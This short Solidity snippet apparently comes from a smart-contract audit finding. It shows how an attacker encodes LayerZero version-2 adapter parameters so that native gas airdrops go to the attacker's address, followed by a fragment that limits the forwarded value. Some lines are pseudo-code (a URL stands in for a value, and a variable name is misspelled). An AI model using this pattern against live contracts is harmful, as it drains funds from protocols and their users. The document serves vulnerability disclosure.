struct LzCallParams {
    address payable refundAddress; // => address of the attacker
    address zroPaymentAddress; // => doesn't matter
    bytes adapterParams; //=> airdropAdapterParamsV2
}
function encodeAdapterParamsV2() public {
    // https://layerzero.gitbook.io/docs/evm-guides/advanced/relayer-adapter-parameters#airdrop
    uint256 gasLimit = 250_000; // something enough to deliver the message
    uint256 airdroppedAmount = max airdrop cap defined at https://layerzero.gitbook.io/docs/evm-guides/advanced/relayer-adapter-parameters#airdrop. => 0.24 for ethereum, 1.32 for bsc, 681 for polygon etc.
    address attacker = makeAddr("attacker"); // => address of the attacker
    bytes memory adapterParams = abi.encodePacked(uint16(2), gasLimit, airdroppedAmount, attacker);
}
// Only allow the airdropped amount to be used for another message
ISendFrom(address(this)).sendFrom{value: aidroppedAmount}(
   from,
   lzDstChainId,
   LzLib.addressToBytes32(from),
   amount,
   callParams
);
